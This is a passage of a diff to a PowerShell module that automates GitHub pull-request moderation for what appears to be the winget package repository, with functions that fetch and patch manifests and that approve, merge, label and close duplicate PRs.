{Write-Host "$($MyInvocation.MyCommand.name) File: $File"} + try { + $EncodedFile = (invoke-GithubRequest -Uri $File -JSON) + } catch { + Write-Host $error[$Enum.Index.First].Message + } + $DecodedFile = Get-DecodeGitHubFile $EncodedFile.content + if ($VM -gt $Enum.Num.Zero) { + if ($FileList.Count -eq $Enum.Num.One) { + Write-Host "Starting PR $PR on VM $VM for InstallerFileAutomation - FileList.Count $($FileList.Count)" + Get-InstallerFileAutomation -PR $PR + Return + } else { + Write-Host "Starting PR $PR on VM $VM for DecodedFile - FileList.Count $($FileList.Count)" + Get-ManifestFile -VM $VM -PR $PR -InstallerFile $DecodedFile + } + } else { + $DecodedFile -join $Enum.Char.LineBreak + }; #end if VM + }; #end foreach Filelist + } else { + Write-Host "FileList empty: $FileList" + Get-CommitFile -PR $PR -Mode parent + } + }#end default + } +} + +Function Get-DecodeGitHubFile { + Param( + [string]$Base64String, + $Bits = ([Convert]::FromBase64String($Base64String)), + [string]$String = ([System.Text.Encoding]::UTF8.GetString($Bits)) + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DecodeGitHubFile $String"}; + return $String -split $Enum.Char.LineBreak +} + +Function Get-PatchedValidation { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)), + $commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON) + ) + $VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PatchedValidation $PR"}; + while ($commit.files.Length -eq $Enum.Num.Zero) { + if ($PatchedValidationIteration -gt 3) { + Write-Host "Infinte Loop Detected after $PatchedValidationIteration iterations." + Return + } + Write-Host "Fetching commit - Iteration $PatchedValidationIteration" + $commit = (Invoke-GitHubRequest -Uri $commit.parents.url -JSON) + $PatchedValidationIteration++ + } + $PackageIdentifier = ($commit.files[$Enum.Index.First].filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.LocaleEnUS,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Blank + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + $SuffixList = (Get-ManifestListing $Packageidentifier) + foreach ($Suffix in $SuffixList) { + Write-Host "Fetching Suffix $Suffix" + $file = Get-PatchedFile -PR $PR -Suffix $Suffix -commit $commit + Get-ManifestFile -VM $VM -PR $PR -InstallerFile $file + + } +} + +Function Get-PatchedFile { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [int]$VM = (Get-NextFreeVM), + $Suffix = $Enum.ManifestFileTypes.installeryaml, + $commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), + [Switch]$WhatIf, + [Switch]$InnerWhatIf + ) + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PatchedFile $PR"}; + $n = $Enum.Num.Zero + while ($commit.files.Length -eq $Enum.Num.Zero) { + $commit = (Invoke-GitHubRequest -Uri $commit.parents.url -JSON) + if ($WhatIf) { + Write-Host "PatchedFile commit parents Iteration $n" + $n++ + } + } + $patch = ($commit.files | where {$_.filename -match $Suffix}).patch -join $Enum.Char.Blank -split $Enum.Char.LineBreak + $PackageIdentifier = ($commit.files[$Enum.Index.First].filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.LocaleEnUS,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Blank + $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) + if ($WhatIf) {Write-Host "PackageIdentifier: $PackageIdentifier"} + $PackageVersion = (Get-ManifestListing $PackageIdentifier -ListVersions)[$Enum.Index.Last] + $file = Get-FileFromGitHub -PackageIdentifier $PackageIdentifier -Version $PackageVersion -Suffix $Suffix + if ($InnerWhatIf) { + Get-InnerPatchedFile -File $file -Patch $patch -WhatIf + } else { + Get-InnerPatchedFile -File $file -Patch $patch + } + +} + +Function Get-InnerPatchedFile { + Param( + $File, + $Patch, + [switch]$WhatIf + ); + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-InnerPatchedFile $PR"}; + $Loop = 1 + $AddedLines = $Enum.Num.Zero + $HunkData = $Patch -join "%%" -split $Enum.Char.DoubleAmpersand + $HunkDataCount = $HunkData.Length -1 + if ($WhatIf) { + Write-Host "PatchDataCount $HunkDataCount" + Write-Host "`n`n`nInput File" + $File + } + for ($Hunk = $Enum.Index.Second; $Hunk -lt $HunkDataCount; $Hunk += $Enum.Num.Two) { + $Loop = ($Hunk/$Enum.Num.Two) + .5 + if ($WhatIf) { + Write-Host "`n`n`n = = = = = = = = = = = = = = = = Loop $Loop = = = = = = = = = = = = = = = = " + Write-Host "AddedLines before $AddedLines" + } + $RemoveData = ($HunkData[$Hunk] -replace $Enum.Char.Ampersand,$Enum.Char.Blank -replace $Enum.Char.Dash,$Enum.Char.Blank -replace "\+",$Enum.Char.Blank -split $Enum.Char.Space -split $Enum.Char.Comma) + [int]$RemoveStart = $RemoveData[$Enum.Index.Second] - 1 + $AddedLines + [int]$RemoveEnd = $RemoveStart + $RemoveData[$Enum.Num.Two] + [int]$ReplaceStart = $RemoveData[3] - 1 + $AddedLines + [int]$ReplaceEnd = $ReplaceStart + $RemoveData[4] + # $AddedLines += $RemoveData[4] - $RemoveData[$Enum.Num.Two] + $HunkChange = $HunkData[$Hunk + 1] -split "%%" + + if ($WhatIf) { + Write-Host "AddedLines after $AddedLines" + Write-Host "RemoveData $RemoveData" + Write-Host "RemoveData2 $RemoveStart $RemoveEnd $ReplaceStart $ReplaceEnd" + + Write-Host "HunkChange: $($HunkChange.Length)" + # $HunkChange + [array]$HunkChange = $HunkChange -split $Enum.Char.LineBreak + for ($Line = 0; $Line -lt $HunkChange.Length; $Line++) { + Write-Host "$($Line): $($HunkChange[$Line])" + }#end foreach Line + } + $ReplaceHunk = ($HunkChange | where {$_ -notmatch "^[-]"} | %{$_[$Enum.Index.Second..$_.Length] -join $Enum.Char.Blank}) + $ReplaceHunk = $ReplaceHunk[$Enum.Index.Second..($RemoveData[4])] + if ($WhatIf) { + Write-Host "RemoveHunk: $($RemoveEnd - $RemoveStart)" + [array]$FileArray = $File -split $Enum.Char.LineBreak + for ($Line = $RemoveStart; $Line -lt $RemoveEnd; $Line++) { + Write-Host "$($Line): $($FileArray[$Line])" + }#end foreach Line + + Write-Host "ReplaceHunk: $($ReplaceHunk.Length)" + [array]$ReplaceHunk = $ReplaceHunk -split $Enum.Char.LineBreak + for ($Line = 0; $Line -lt $ReplaceHunk.Length; $Line++) { + Write-Host "$($Line + $ReplaceStart): $($ReplaceHunk[$Line])" + }#end foreach Line + } + if ($ReplaceStart -eq 0) { + if ($WhatIf) {Write-Host "File Change: `$ReplaceHunk + `$File[$ReplaceEnd..$($File.Length)]"} + $File = $ReplaceHunk[$Enum.Index.First..$ReplaceHunk.Length] + $File[$ReplaceEnd..$File.Length] + } else { + if ($WhatIf) {Write-Host "File Change: `$File[$($Enum.Index.First)..$ReplaceStart] + `$ReplaceHunk + `$File[$ReplaceEnd..$($File.Length)]"} + $File = $File[$Enum.Index.First..($ReplaceStart -1)] + $ReplaceHunk + $File[($ReplaceEnd -1)..$File.Length] + } #end if ReplaceStart + if ($WhatIf) { + # $AddedLines += $ReplaceHunk.Length - ($RemoveEnd - $RemoveStar) + # $AddedLines += $RemoveData[4] - $RemoveData[2] + # Write-Host "AddedLines: $AddedLines" + + Write-Host "`nFile after Loop $Loop " + [array]$FileArray = $File -split $Enum.Char.LineBreak + for ($Line = 0; $Line -lt $FileArray.Length; $Line++) { + Write-Host "$($Line): $($FileArray[$Line])" + }#end foreach Line + }#end WhatIf + }#end for inc + if ($WhatIf) { + Write-Host "`n`n`nOutput File" + } + return $File + +} + +Function Get-LogFromCommitFile { + Param( + [int]$PR, + [array]$LogNumbers, + [array]$StringNumbers, + $Length = 0, + [switch]$WhatIf + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LogFromCommitFile $PR"}; + Foreach ($Log in $LogNumbers) { + $n = 0; + if ($WhatIf) {Write-Host "Log: $log"} + while ($n -le ($StringNumbers.Count -1)) { + try { + if ($WhatIf) { + Write-Host "n $n - Get-LineFromBuildResult -PR $PR -LogNumber $Log -SearchString $($Enum.MagicStrings[$StringNumbers[$n]]) -Length $Length - UserInput $UserInput" + } else { + $UserInput += Get-LineFromBuildResult -PR $PR -LogNumber $Log -SearchString $Enum.MagicStrings[$StringNumbers[$n]] -Length $Length + } + } catch {} + $n++ + } + } + + if ($WhatIf) { + Write-Host "return $UserInput" + } else { + return $UserInput + } +} + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +################################## - PR - ################################### +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +#PR tools +#Add user to PR: Invoke-GitHubPRRequest -Method $Enum.PRRequestMethods.$Method -Type "assignees" -Data $User -Output StatusDescription +#Approve PR (needs work): Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type reviews +Function Get-PRManifest {#Regenerates just enough of the Files Changed tab page, to engage and complete the PR Watch system. + Param( + [Parameter(ValueFromPipeline)][int]$PR, + $File = 0, + [switch]$Patch + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRManifest $PR"}; + $CommitFile = (Get-CommitFile -PR $PR -Deparent); + $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($CommitFile -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) + # $PackageIdentifier = Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $CommitFile | Get-RemoveQuotes + $PackageVersion = Get-YamlValue -Key $Enum.ManifestKeys.PackageVersion -InputArray $CommitFile | Get-RemoveQuotes + $Submitter = ((Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR" -JSON).user.login); + + if ($Patch) { + $CommitFile = (Get-CommitFile -PR $PR -Mode Patch) + } + + $out = "$PackageIdentifier version $PackageVersion #$PR`n" + $out += "$Submitter wants to merge`n" + $out += $Enum.ManifestStrings.FooterHeader + $out += ($CommitFile -join $Enum.Char.LineBreak) + $out += $Enum.ManifestStrings.FooterHeader + return $out +} + +Function Approve-PR { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + [string]$Body = $Enum.Char.Blank, + $PRCommits = (Invoke-Commits -PR $PR2), + $commit = (($PRCommits.commit.url -split $Enum.Char.Slash)[$Enum.Index.Last]), + $uri = "$GitHubApiBaseUrl/pulls/$PR/reviews" + ) + Process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Approve-PR $PR"}; + if (!(Get-PRApprovalCheck -PR $PR)) { + try { + [array]$AuthorList = $PRCommits.commit.author.name# -join $Enum.Char.Space + $PRAuthors = $AuthorList[$Enum.Index.First] + }catch{} + if (($PRAuthors -notmatch $Enum.GitHubUserNames.GitHubUserName2) -AND ($PRAuthors -notmatch $Enum.GitHubUserNames.GitHubUserNameFull)) { + $Response = @{} + $Response.body = $Body + $Response.commit = $commit + $Response.event = "APPROVE" + [string]$Body = $Response | ConvertTo-Json + + $out = Invoke-GitHubRequest -Method $Enum.PRRequestMethods.Post -Uri $uri -Body $Body + $out.StatusDescription + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.MA + } #end try + } else { + Write-Host "$($MyInvocation.MyCommand.name): PR $PR failed approval check" + }#end if Get-PRApprovalCheck + }#end Process +}#end Function + +Function Get-PRApprovalCheck { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + $PRCommits = (Invoke-Commits -PR $PR -Type "reviews") + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRApprovalCheck $PR"}; + [array]$StateData = ($PRCommits | Where {$_.user.login -match $Enum.GitHubUserNames.GitHubUserName}).state + $State = $StateData -join $Enum.Char.Blank + [bool]$out = $State -match "APPROVED" + Return $out + } +} + +Function Get-PRRange { + Param( [int]$firstPR, [int]$lastPR, [string]$Body, - [string]$Preset - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRRange $firstPR $lastPR"}; - $line = 0; - $firstPR..$lastPR | %{ - if ($Preset -eq $Enum.PRStates.Closed) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.($Preset) -PR $_ -UserInput $Body - } else { - Reply-ToPR -PR $_ -Body $Body; - Get-GitHubPreset -Preset $Enum.GitHubPresets.($Preset) -PR $_ - } - Get-TrackerProgress -Activity $MyInvocation.MyCommand.name -ItemName $_ -ItemNumber $line -TotalItems ($lastPR - $firstPR); - $line++ - } -} - -function Get-PushMePRYou { - Param( - $Author = $Enum.GitHubUserNames.Trenly, - $MatchString = $Enum.Strings.StandardizeFormatting, - [int]$Page = $Enum.Num.One - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRRange $Author $MatchString"}; - foreach ($Preset in ($Enum.SearchPresets.Approval,$Enum.SearchPresets.ToWork)) { - Write-Host "$(Get-Date -Format T) $($MyInvocation.MyCommand.name): $PR - $($Preset)"; - $PRsForAuthor = @(); - $PRsForAuthor = Get-SearchGitHub -Author $Author -Preset $Preset -Page $Page -NoLabels; - $PRsForAuthor = $PRsForAuthor | Where-Object {$_.user.login -eq $Author -and $_.title -match $MatchString -and $_.labels.name -notcontains $Enum.PRLabels.MA}; - if ($PRsForAuthor) { - $PRsForAuthor.number | % { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $_) - Write-Host "$PR - " -nonewline; - Approve-PR $PR - }; - } - }; - - $Preset = $Enum.VMStatus.Complete - Write-Host "$($Preset): $(get-date)"; -} - -Function Get-PRData { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - Process { - $PR2 = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRData $PR2"}; - Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR2" -JSON - } -} - -Function Get-RerunCheck { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Comments = (Get-PRComments -PR $PR2), - [int]$MatchCode = $Enum.RerunCheck.MatchCode, - [int]$RetryCount = $Enum.Num.Two, - [string]$MatchTerm = $Enum.Strings.ValidationPipelineRun, - [switch]$WhatIf - ) - Process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RerunCheck $PR2"}; - $LastAutomationComment = $Enum.Char.Blank - $ValPipeRunCount = 0 - try { - $LastAutomationComment = ($Comments | Where-Object {$_.user.login -eq $Enum.GitHubUserNames.GitHubUserName})[$Enum.Index.Last].body -join $Enum.Char.Space - } catch {}#If this fails, I don't care. It's already the empty string it needs to be. - try { - $ValPipeRunCount = ($Comments.body | where {$_ -match $MatchTerm}).Count - } catch {}#If this fails, I don't care. It's already the zero it needs to be. - #IF contains MatchCode - #If only 1 retry - if (($LastAutomationComment -match $MatchCode) -OR - ($ValPipeRunCount -lt $RetryCount)) { - Write-Host "Checking PR $PR" - if ($WhatIf) { - Write-Host "Reply-ToPR -PR $PR -body '$($Enum.Strings.WingetbotRun)'" - } else { - Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun - } - } else { - Write-Host "PR $PR is workable, adding to queue." - Add-PRToQueue -PR $PR - Return - } - } -} - -#PR Labels -Function Get-AddPRLabel { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$LabelName - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AddPRLabel $PR"}; - $Response = Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type labels -Data $LabelName -Output Content - Write-Host $Response.name - } -} - -Function Get-RemovePRLabel { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$LabelName - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemovePRLabel $PR"}; - $Uri = "$GitHubApiBaseUrl/issues/$PR/labels/$LabelName" - $Response = Invoke-GitHubRequest -Uri $Uri -Method $Enum.PRRequestMethods.Delete - Write-Host $Response.StatusDescription - } -} - -function Get-CompletePR { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CompletePR $PR"}; - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - $PRLabels = (invoke-GitHubPRRequest -PR $PR -Type labels -Method $Enum.PRRequestMethods.Get -Output Content).name | - where {$_ -notmatch $Enum.PRLabels.APP} | - where {$_ -notmatch $Enum.PRLabels.MMC} | - where {$_ -notmatch $Enum.PRLabels.MA} | - where {$_ -notmatch $Enum.PRLabels.NM} | - where {$_ -notmatch $Enum.PRLabels.NP} | - where {$_ -notmatch $Enum.PRLabels.PD} | - where {$_ -notmatch $Enum.PRLabels.RET} | - where {$_ -notmatch $Enum.PRLabels.VAD} | - where {$_ -notmatch $Enum.PRLabels.VIMU} | - where {$_ -notmatch $Enum.PRLabels.VC} - - foreach ($label in $PRLabels) { - Get-RemovePRLabel -PR $PR -Label $label - } - if (($PRLabels -join $Enum.Char.Space) -notmatch $Enum.PRLabels.VDE) { - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC - } -} - -Function Get-MergePR { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - $ShaNumber = (-1) - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-MergePR $PR"}; - $sha = (Invoke-Commits -PR $PR).sha - $sha = Get-StringOrArrayLast -StringOrArray $Sha -ArrayIndex $ShaNumber - - $out = $Enum.Char.Blank - $Data = Invoke-GitHubrequest -Uri "https://api.github.com/repos/microsoft/winget-pkgs/pulls/$PR/merge" -Method $Enum.PRRequestMethods.Put -Body "{`"merge_method`":`"squash`",`"sha`":`"$sha`"}" - if ($Data.Content) { - $out = $Data.Content - } else { - $out = $Data - #($Data[1..$Data.Length] | ConvertFrom-Json).message - } - - $Comments = Get-PRComments -PR $PR - if ($out -match $Enum.Words.Error) { - if ($Comments[$Enum.Index.Last].UserName -ne $Enum.GitHubUserNames.GitHubUserName) { - $LabelNames = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) - if ($LabelNames[$Enum.Index.Last].UserName -ne $Enum.GitHubUserNames.GitHubUserName) { - if (($LabelNames -join $Enum.Char.Space) -notmatch $Enum.PRLabels.BI) { - Reply-ToPR -PR $PR -UserInput $out -CannedMessage MergeFail -Automated - } - } - } - } - - if ($out -match $Enum.Strings.PullRequestHasMergeConflicts) { - Reply-ToPR -PR $PR -body $Enum.PRCloseReasons.MergeConflicts - } - Write-Host "$($MyInvocation.MyCommand.name): $PR - $out" - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Squash - #invoke-GitHubprRequest -PR $PR -Method $Enum.PRRequestMethods.Put -Type merge -Data "{`"merge_method`":`"squash`",`"sha`":`"$sha`"}" - } -} - -Function Get-RetryPR { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [string]$Command = $Enum.Strings.WingetbotRun - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RetryPR $PR"}; - $Response = Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.StatusDescription -Method $Enum.PRRequestMethods.Post -Data $Command - Write-Host $Response - } -} - -Function Get-VerifyMMC { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-VerifyMMC $PR"}; - $Comments = (Get-PRComments -PR $PR | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body) - - [array]$MissingProperties = ($Comments.body | Where-Object {$_ -match $Enum.MMC.ManifestsHeader}) -split $Enum.Char.LineBreak | Where-Object { $_ -notmatch $Enum.MMC.ManifestsHeader -AND - $_ -notmatch $Enum.MMC.MissingProperties} #-AND - # $_ -notmatch "Icons" -AND - # $_ -notmatch "Platform" -AND - # $_ -notmatch "MinimumOSVersion" -AND - # $_ -notmatch "ReleaseNotes" -AND - # $_ -notmatch "ReleaseNotesUrl" -AND - # $_ -notmatch "ReleaseDate"} - - [array]$MMCExceptionList = (Get-Content $MMCExceptionListFile) -split $Enum.Char.LineBreak - foreach ($Exception in $MMCExceptionList) { - $MissingProperties = $MissingProperties | Where-Object { $_ -notmatch $Exception} - } - if (!$MissingProperties) { - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.MMC - } -} - -Function Get-DuplicateCheck { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DuplicateCheck $PR"}; - $mainPRLabels = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) - [int]$mainPR = 0 - [int]$closePR = 0 - - if ($mainPRLabels -match $Enum.PRLabels.VC) { #If this PR is VC - #Get the PR number for the other duplicate. - $Comments = Get-PRComments -PR $PR - $otherPR = $Comments.body | Where-Object {$_ -match $Enum.Strings.FoundDuplicatePullRequest} - $otherPR = $otherPR -split $Enum.Char.LineBreak - [int]$otherPR = (($otherPR | where {$_ -match $Enum.Regex.hashPRRegex}) -split $Enum.Char.Hash)[$Enum.Index.Last] - $otherPRLabels = ((Invoke-GitHubPRRequest -PR $otherPR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) - - #If this PR is VC, - #If other is VC, - #If other is MA, close this. - #If other is not MA, close the lower number as other. - #if this is CLA - #if other is CLA, do nothing. - #If other is not MA, close other. - #If other is not VC, close other. - - #If this is on Auth list but other is not - - - - if ($otherPRLabels -match $Enum.PRLabels.VC) { #If other PR is VC - if ($otherPRLabels -match $Enum.PRLabels.MA) { #If other is VCMA, close this. - $mainPR = $otherPR - $closePR = $PR - } else { #If other is not MA, close the lower number as other. - $mainPR = [math]::Max($PR,$otherPR) - $closePR = [math]::Min($PR,$otherPR) - }# end if Moderator-Approved - } else { #If other is not VC, close other. - $mainPR = $PR - $closePR = $otherPR - }# end if Validation-Completed - - if ($mainPRLabels -match $Enum.PRLabels.CLA) { #if both are VC and CLA, do nothing. - } else { - if ($otherPRLabels -match $Enum.PRLabels.CLA) {#if both are VC and this is CLA, close this. - } else { - }# end if mainPRLabels - }# end if mainPRLabels - - if ($closePR -gt 0) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Duplicate -PR $closePR -UserInput $mainPR - Get-RemovePRLabel -PR $mainPR -Label $Enum.PRLabels.PD - }# end if closePR - }# end if mainPRLabels -}# end function - -#PR Waiver -Function Add-Waiver { - Param( - [int]$PR, - $LabelNames = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Waiver $PR"}; - Foreach ($Label in $LabelNames) { - $Waiver = $Enum.Char.Blank - Switch ($Label) { - $Enum.PRLabels.EAT { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.PT27 { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.PT12 { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.PT23 { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.VC { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Approved -PR $PR - Add-PRToRecord -PR $PR -Action $actions[$Enum.Num.Two] - } - $Enum.PRLabels.VD { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.VEE { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - $Waiver = $Label - } - $Enum.PRLabels.403 { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VIE { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VNE { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VSE { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VUF { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VUE { - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] - $Waiver = $Label - } - $Enum.PRLabels.VR { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - } - $Enum.PRLabels.IEDS { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR - Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] - } - } - if ($Waiver -ne $Enum.Char.Blank) { - $out = Get-CompletePR -PR $PR - Write-Output $out - }; #end if Waiver - }; #end Foreach Label -}; #end Add-Waiver - -Function Get-AddToAutowaiver { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $RemoveLabel, - $AutowaiverData = (Get-Content $AutowaiverFile | ConvertFrom-Csv), - $PRCommits = (Get-CommitFile -PR $PR2), - [string[]]$InputData = ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), - [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), - # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PRCommits), - [switch]$AlsoRunAutowaiver, - [switch]$Display - ) - Process { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AddToAutowaiver $PR2"}; - if ($PackageIdentifier.Length -gt 1) { - $NewLine = $Enum.Char.Blank | Select-Object $Enum.AutowaiverColumns.PackageIdentifier,$Enum.AutowaiverColumns.ManifestValue,$Enum.AutowaiverColumns.ManifestKey,$Enum.AutowaiverColumns.RemoveLabel - $NewLine.PackageIdentifier = $PackageIdentifier - $NewLine.RemoveLabel = $RemoveLabel - if (($RemoveLabel -eq $Enum.PRLabels.VD) -or ($RemoveLabel -eq $Enum.PRLabels.VUU)) { - $PRCommits = 